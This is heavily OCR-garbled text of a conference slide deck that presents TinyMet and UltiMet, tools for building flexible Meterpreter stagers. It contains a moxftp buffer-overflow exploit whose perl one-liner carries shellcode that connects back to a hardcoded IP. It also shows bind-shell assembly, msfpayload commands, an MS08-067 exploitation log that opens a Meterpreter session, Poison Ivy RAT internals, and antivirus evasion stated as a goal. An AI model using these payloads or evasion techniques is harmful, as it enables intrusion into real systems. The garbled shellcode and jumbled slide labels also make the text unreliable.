e

TinyMet & UltiMet

Flexible meterpreter payloads

Sherif Eldeeb
http://eldeeb.net



|. BACKGROUND
moxftp is a "Ftp shell under X Window System".
/usr/ports/ftp/moxftp

[I. DESCRIPTION

Insufficient bounds checking leads to execution of arbitrary code. EX p | O It
1. ANALYSIS
The buffer may be d eve | O p m e nt

constructed as such:
[508 bytes][ebp ][eip ][nops][shellcode]. Placing
the nops and shellcode in the buffer before ebp seems to cause some

problems, luckily there's plenty of space after eip.

Example run:

$ perl -e 'print "220 " . "\x90" x 508 . "\x48\xfa\xbf\xbf" x 2 . "\x90" x 100 .
"\x31\xc9\xf7\xel\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x68\xd9\x9
d\x02\x24\x66\x68\x27\x10\x66\x51\x89\xe6\xb2\x10\x52\x56\x50\x50\xb0O\x62\XxC
d\x80\x41\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x6
8\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80" . "\n"' > file

# nc -1 -p 21 < file
The shellcode is connect-back to 217.157.2.36 port 10000,

replace "\xd9\x9d\x02\x24" with a suitable ip for testing.




root@kali: ~

File Edit View Search Terminal Help
# msfconsole
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Li:~# msfpayload windows/shell bind tcp O

Name: Windows Command Shell, Bind TCP Inline
Module: payload/windows/shell bind tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 341
Rank : Normal

Provided by:
vlad902 <vlad902@gmail .com>
st <stephen_fewer@harmonysecurity.com>

Basic options:

Name Current Setting Required Description . T
B oot wmemerie aoonollliCl Singles “inline
EXITFUNC process yes Exit technique (accepted: seh, thread, process, none)

LPORT 4444 yes The listen port

RHOST no The target address

Description:
Listen for a connection and spawn a command shell

_ :~# msfpayload windows/shell bind tcp R | msfencode -a x86 -e generic/none -t exe
small -o shell_inline small.exe :
[*] generic/none succeeded with size 341 (iteration=l)

:~# 1s -1h shell_inline_small.exe
-rw-r--r-- 1 root root 4.6K Jun 17 15:23 shell_inline_small.exe

:~# file shell_inline small.exe
shell_inline_small.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for
S Windows

#




rooti@egy:/pentest/metasploit-framework/external/source/shellcode/windows/x86/src/singlef cat
; Author: Stephen Fewer :stephen_fewer@harmﬂnysecurity.cnm}

; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4

; Version: 1.0 (24 July 2009)

[BITS 32]

; Imput: EBP must be the address of "apl call'.
;s Output: EDI will be the newly connected clients socket
; Clobbers: EAX, ES5I, EDI, ESF will alsoc be modified (-0x1Z0)

../block/block bind tcp.asm

bind tcp:
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
push OxS5F327377 .
push esp ; Push a pointer to the "ws2 32" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibrarva" )
call ebp ; LoadLibraryR( "ws2_ 32" )
mov eax, 0x01%0 ; EAX = sizeof| struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionReguested parameter
push 0x006B&029 ; hash( "wsz2_32.d11", "WSAStartup" )
call ebp ; WSAStartup( 0x0190, &WSAData )
push eax ; 1f we succeed, eax wil be zero, push zero for the flags param.
push eax  push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL INFO structure
push eax ; we do not specify a protocol
inc eax :
push eax ; push S0CK _STREAM
inc eax :
push eax ; push AF INET
push OxEODFOFEZ ; hash( "ws2_32.d11", "W3ASocketdA" )
call ebp ; W5SASockethA( ARF INET, SOCK STREAM, 0, O, O, O };
xchg edi, eax : save the socket for later, don't care about the wvalue of eax after this
xor ebx, ebx ; Clear EBX
push ebx ; bind to 0.0.0.0
push 0x5C110002 ; family AF INET and port 4444
mov esi, esp ; 2ave a pointer to 2ockaddr in struct
push byte 16 i length of the sockaddr in struct (we only set the first & bytes as the last § are unused)
push esi ; pointer to the sockaddr in struct
push edi ; socket
push Oxe73TDBC2 : hash( "ws2_32.d11", "bind" )

call ebp ; bind( =, &=zockaddr in, 16 );

Singles “inline”




Staging payloads

...when size does matter



encrypted communications (256bit Camellia), compressed communications, full-featured
file manager, registry manager, key logger, services manager, relay server, process manager, remote audio capture, screen
capture, web cam capture, multiple simultaneous transfers, password manager, and the ability to share servers, based on
privilege levels, and various other things that you will find useful.

Example of a “staged” malware




the maximum size of the server is around 7KiB, unpacked.

Example of a “staged” malware




the server doesn't need to be updated, even if new

features are added.

Example of a “staged” malware




Poison vy

Build and implantation

The Poison Ivy builder kit allows attackers to customize and build their own PIVY server, which is delivered
as mobile code to a target that has been compromised, typically using social engineering. Once the
server executes on a target’s endpoint, it connects to a PIVY client installed on the attacker’'s machine,
giving the attacker control of the target system.

The PIVY server code can executed on the target endpoint in a number of ways, depending on how the
attacker configured it. In the most common configuration, the PIVY server divides its code into two parts:

* |nitialization and maintenance code

* Networking code

The initialization and maintenance code is injected into the already-running explorer.exe process.
Depending on how the attacker configures it, the networking code launches a hidden Web browser
process (the system's default browser) and injects itself into that process. The networking code then
remotely downloads (from the attacker’s PIVY client as shellcode) the rest of the code and data it
needs for its features and functionality. The new code executes on the target’s endpoint within the
context of the target process. All of PIVY's global variables, configuration details, and function pointers
are stored in a C-style struct (data structure), which is also injected into the target processes in both
the PIVY networking code and initialization and maintenance code.

6 eWeek. "Northrop Grumman, L-3 Communications Hacked via Cloned RSA SecurlD Tokens.” June 2011.

7 RSA FraudAction Research Labs. "Anatomy of an Attack.” April 2011.

8 CNET. “Attack on RSA used zero-day Flash exploit in Excel.” April 2011.

9  PBrian Krebs. "Who Else Was Hit by the RSA Attackers?” October 2011.

10 Eric Chien and Gavin Q'Gorman. “The Nifro Attacks: Stealing Secrets from the Chemical Industry.” October 2011.




The networking code then

remotely downloads (from the attacker’s PIVY client as shellcode) the rest of the code and data it
needs for its features and functionality.

Example of a “staged” malware

*http.//www.fireeye.com/resources/pdfs/fireeye-poison-ivy-report.pdf



Stager delivered to target
"via exploit, .exe, or any other mean"

Stager Executed!

Connects back to attacker — —~ Sta ge d Payl Oa d S

Attacker sends larger stage

to have the stage executed

Stage gets executed and takes over
control, starts doing its thing




msf > use exploit/windows/smb/ms@8 067 netapi

msf exploit(m=08 0 netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind tcp
msf exploit(ms08 067 netapi) > set RHOST 192.168.52.133

RHOST => 192.168.52.133
msf exploit(ms08 O netapi) > exploit

[*] Started bind handler

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP - Service Pack 2 - lang:English

[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (770048 bytes) to 192.168.52.133

[*] Meterpreter session 1 opened (192.168.52.131:36075 -> 192.168.52.133:4444) at 2014-06-18 12:50:52 -0400

meterpreter > sysinfo ]

Computer : A-DBBE514426984

0S : Windows XP (Build 2600, Service Pack 2).
Architecture : x86

System Language : en US

Meterpreter : x86/win32

meterpreter > shell

Process 176 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-20@1 Microsoft Corp.

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : localdomain
IP ‘Address: . & S0 o o n SR T 990168 59 133
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.52.2

Ethernet adapter Bluetooth Network Connection:

Media State . . . . . . . . . . . : Media disconnected

C:\WINDOWS\system32>exit
meterpreter > |j




:~# msfpayload -1 | grep windows | grep meterpreter | grep -v 'patchup\|x64'

windows/meterpreter/bind ipv6 tcp Listen for a connection over IPv6, Inject the mete
w%ndows{meterpreter/b%nd_nonx_tcp Listen for a connection (HO_HX), Inject the meterp Stager delivered to target
windows/meterpreter/bind tcp Listen for a connection, Inject the meterpreter se ™Via exploit, .exe, or any other mean”
windows/meterpreter/bind tcp rc4 Listen for a connection, Inject the meterpreter se
windows/meterpreter/find tag Use an established connection, Inject the meterpre
windows/meterpreter/reverse http Tunnel communication over HTTP, Inject the meterpr
windows/meterpreter/reverse https Tunnel communication over HTTP using SSL, Inject t
windows/meterpreter/reverse https proxy Tunnel communication over HTTP using SSL with cust
windows/meterpreter/reverse ipv6 http Tunnel communication over HTTP and IPv6, Inject th
windows/meterpreter/reverse:ipv6:https Tunnel communication over HTTP using SSL and IPv6, Stager Executed
windows/meterpreter/reverse ipv6 tcp Connect back to the attacker over IPv6, Inject the Connects back to attacker
windows/meterpreter/reverse nonx_tcp Connect back to the attacker (No NX), Inject the m
windows/meterpreter/reverse ord _tcp Connect back to the attacker, Inject the meterpret
windows/meterpreter/reverse tcp Connect back to the attacker, Inject the meterpret
windows/meterpreter/reverse tcp allports Try to connect back to the attacker, on all possib
ed)
windows/meterpreter/reverse tcp_dns Connect back to the attacker, Inject the meterpret Attacker sends larger stage
windows/meterpreter/reverse tcp rc4 Connect back to the attacker, Inject the meterpret
windows/meterpreter/reverse tcp rc4 dns Connect back to the attacker, Inject the meterpret
~#
ms T EKplDit[ j - EKplDit Stager performs necessary actions

to have the stage executed

Started reverse handler on 192.168.52.131:4444

Automatically detecting the target...

Fingerprint: Windows XP - Service Pack 2 - lang:English
elected Target: Windows XP SP2 English (AlwaysOn NX) Stage gets executed and takes over
“tempting to trigger the vulnerability. .. control, siarts dong = thing
:nding stage (/770048 bytes) to 192.168.52.133

Meterpreter



1 to
|

ESI, EDI, ESP will also be modified

Initialize Winsock

Stager Executed!
Connects back to attacker

wWe succeed,
mll

do

do

Create socket

ny

ost 127.0.0.1 Set handler’s address

family AF |

ve point L ruc ¢

Connect to handler,
ockadar, 1605 put socket into EDI

The stager — execution steps “reverse_tcp as an example”



udio Express 2013 for Windows Desktop G Y1 | Quicklaunch (Ctrl+Q) Pl- B x JIMH-! %86
DEBUG TEAM TOOLS TEST WINDOW  HELP TS - e share [
P Local Windows Debugger ~ |Release -| |Wm32 -H - ; =

[ N J
< [ preview pan florge icons ' Bl [E]G'“""" L Stager delivered to target =

a = ane 5 Medium=n ns 5 Small icons Add columns [ File nan

Navigation Sort "via exploit, .exe, or any other mean"

[F] metsre = (Global Scope) - pane = TFDetails i by~ [oiSizeallcolumnstofit [ Hidden

E/*! syout Current view P

* [@file server_setup.c
=4 cuments » GitHub P\meterprater » output » xB6 v &

H#include “metsrv.h"
#include "../../common/common.h™ R A 3 .

i
)
i

b k]

char * global_meterpreter_transporf = "WETERFRETER_TRA - .
char * global _meterpreter_url = "hiips: )
char * global meterpreter ua = “METERPRETER UA\x88\ &

*

*

e

Stager Executed! —
- Connects back to attacker

ext_server_extapixBb.  ext_se
dil

char * global_meterpreter proxy = "METERPRETERLFRO: . . -
char * global _meterpreter_proxy_username\= "METE a a a

char * global meterpreter_proxy password 2 "METERFR

int global_expiration_timeout = @xb64be66l;

int global_comm_timeout = Bxaf79257f; .

evatorxd6.d|

_
h ~ 4
)b
// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preproce _server_mimikatzx / ext_server_privxB6.dil  ext_server_stdapixB6. metsrv.x86.dll - Attacker SendS Iarger Stage
86.dll dil —

E#ifdef _WIN32 x; Y Y al
B SOV :

s
s Fin

']

- .y e
Ei#include <windows.h> // for EXCEPTION_ACCESS_VIOLATSON vf‘-'r“.r sr
#include <excpt.h>

// include the Reflectiveloader() function Cl . .
#include "../ReflectiveDLLInjection/d11/src/Reflectiveloader ("

{
}

Elint exceptionfilter(unsigned int code, struct _EXCEPTION_POINTER§ *=p) . 1\Do nts\GitHub\meterpreter\output\x86\metsrv.x86.d11 I

return EXCEPTION_EXECUTE_HANDLER;

#define InitAppInstance() de { A
if( h&ppInstance == NULL )} \
hAppInstance = GetModuleHandle( NULL ); \ .
1 while (@) Stager performs necessary actions

S selse to have the stage executed
#define InitAppInstance() )
#define exceptionfilter(a, b)

#define SetHandleInformation(a, b, c)
#define ExitThread(x) exit((x)) -

100 % ~| 4 b

< Stage gets executed and takes over N/
control, starts doing its thing

SERENIElsEC DL to stage -

L




Get stage size
“first 4 bytes”

“=¥MirtualAlloc enough
memory}for'stage “RWX”

—Read stage into buffer

— Stager performs necessary actions -
to have the stage executed 7
—

le

Execute the ftage!

The stager — execution steps “reverse_tcp as an example”



Expect problems, and
eat them for breaktast.

Alfred A. Montapert



Your precious payloads

Anti Virus Product

Problems




Evading antivirus remains a challenge for those who are trying
to use msfpayload/msfvenom to create their stand-alone “exe”
payloads, and no matter how hard one tries to achieve that
using whatever is already in the framework, or tools written by
others, results are largely unreliable, try googling “meterpreter
evade AV” and good luck ©.

Even if we managed to create a stager that get past HIPS/AV,
the stage could get flagged by an inline IDS, or a web proxy
which prohibits downloading of executable files.

The stand-alone executables “created using msfpayload” is not
flexible at all after being created “i.e. LHOST, LPORT and the
TRANSPORT” are hard-coded, so, if you want to change any of
those, you have to create a new one “and manage to evade
AV”,

So, things to be considered:

(1) Evade AV “to reliably achieve that, you HAVE to write your
own stagers”.

(2) Create a “flexible” stager.

(3) Eliminate the need to get the stage over network “i.e.
creating an inline-meterpreter”.

Problems




= Command Prompt - TinyMet.e

:\Documents and Settings\koko\Desktop>TinyMet.exe ——help
inyMet vB@.1
puv . tinymet.com

sage: tinymet.exe [transport] LHOST LPORT
vailable transports are as follows:

B: reverse_tcp

1: reverse_http

2: reverse_https

3: bhind_tcp

xample =
“"tinymet.exe 2 handler.com 443"
$#ill use reverse_https and connect to host.com:443

:\Documents and Settings\koko\Desktop>TinyMet.exe B 192.168.52.131 4444
:@ H:192.168.52.131 P:4444

msf exploit(handier) > show options
Module options (exploit/multi/handler):

Name Current Setting Required Description

eI e i< o R T | “

A small “4 kilobytes”, open source,
flexible meterpreter stager

Payload options (windows/meterpreter/reverse tcp):

Name

Current Setting Required Description

[*] Started reverse handler
[*] Starting the payload
[*] Sending stage (770048
[*] Meterpreter session 4 o

meterpreter > sysinfo

4 -> 192.168.52.133:1127) at 2014-06-18 17:36:07 -0400

Computer : A-DBBE514426984

0s : Windows XP (Build 2600, Service Pack 2).
Architecture : x86

System Language : en US

Meterpreter : x86/win32

meterpreter >

) ‘e Command Prompt - Ti...

EXITFUNC process VES Exit technique (accepted: seh, thread, process, none) |t ta kes I_PO RT I_H OST TRANSPORT
LHOST 0.0.0.0 yes The listen address b 4
LPORT 4444 yes The listen port as Command |ine arguments.
Exploit target:
Id Name Available transports
(:)- v-h:.{c-ica'rd Target C reverse_tcp
msf exploit( ) > exploit y reve rse—http

reverse https
bind_tcp

http://www.tinymet.com


http://www.tinymet.com/

A windows executable that can function as various
meterpreter stand-alone exe’s, in addition to
functioning as “msfpayload” to generate exe files that
run hidden when executed.

Supports functioning as the following meterpreter
“types”: “reverse_tcp”, “bind_tcp”, "reverse_http”,
“reverse_https”, “metsvc_bind tcp” and
“metsvcreverse _tcp”

pre-configured settings “exactly as msfpayloa
generated exe”, however, generated exe files sti
accept command line arguments and settings could be
reset or changed, all supported from within that single
exe.

Can create exe files that connects upon execution using
I

The generated exe is al_\ore-conﬂ ured ultimet that can
be used to create OTHER exe files! so, let’s say you
created a reverse_tcp exe using the
--msfpayload option, you can use THAT exe later to
create another bind _metsvc, then use THAT exe to
8refate|ta reverse_http ... and so on, or simply reset to
efau

UltiMet



http://eldeeb.net/wrdprs/?page_id=156

msf exploit(handlier) >
[*] 192.168.52.1:52317 Request received for /nyK® 5Mcbz51hcyQFKLCh/. ..

[*] Incoming orphaned session nyK@ 5Mcbz51hcyQFKLCh, reattaching...

[*] Meterpreter session 5 opened (192.168.52.131:443 -> 192.168.52.1:52317) at 2014-06-19 07:30:24 -0400

mst exploit(handler) > sessions

Active sessions

Id Type

5 meterpreter x86/win32 THE-LAPTOP\Sherif @

Information

msf exploit(/ ) > sessions -i 5
[*] Starting interaction with 5...

meterpreter > sysinfo

Computer

0S

Architecture
System Language
Meterpreter

meterpreter >

THE-LAPTOP

Windows 8 (Build 9200) .

x64 (Current Process is WOW64)

en US
x86/win32

C:\Users\Sherif\Desktop\ultimet>ultimet.exe -t reverse_https -h 192.168.52.131 -p 443

3 e SR e e SR e e ST S S 3T SR S e e S e S R S DO S S SO S e ST 3 TR T T SR e e R e e ST e 3 R e e R e D0 N e
[+] [ultimet] - The Ultimate Meterpreter Executable
[+] vO.3

305 S SR e e SR e S ST S S SR R S S e S S S S R S Sl SR e S 3 SR ST S SR e S R S S S e S 3 SR e S S S T SR 3 e

- http://eldeeb.net - @SheriefEldeeb

Loading stage into memory from resource. ..

Looks like loaded stage is encrypted, Locating Encryption key. ..

"Uu9dlGd0deBUUT15™ will be used; decrypting...

Looks like stage decrypted correctly, proceeding to patching stage...

Patching transport: Offset 0x000alf18 -> “METERPRETER_TRANSPORT_HTTPS"

ReflectiveDll function offset found: Ox0OB58TdF

Patching ReflectiveDll Bootstrap: "MZ2” Offset ©8x00000000

No UserfAgent specified, using default one ...

Patching UA: Offset O0x000a2068 -> "Mozilla/5.0 (Windows NT 6.1; WOWGY; ru:11.8) Gecko Firefox/11.8"
No expiration_timeout specified, using 60408 seconds ...

Patching global_expiration_timeout: Offset Ox000a22c@ -> "6O400" seconds

No comm_timeout specified, using 300 seconds ...

Patching global_comm_timeout: Offset OxB00a2zcy -> "300" seconds

Calculated URL: https://192.168.52.131:443/nyke_SMcbz51hecyQFKLCh/

Patching global_meterpreter_url: Offset 0x000al1f58 -> “https://192.168.52.131:443/nyko_SMcbzS51heyQFKLCh/™
Everything in place, casting whole buffer as a function...

Detaching from console & calling the function, bye bye [ultimet], hello metasploit!

A A . — ———
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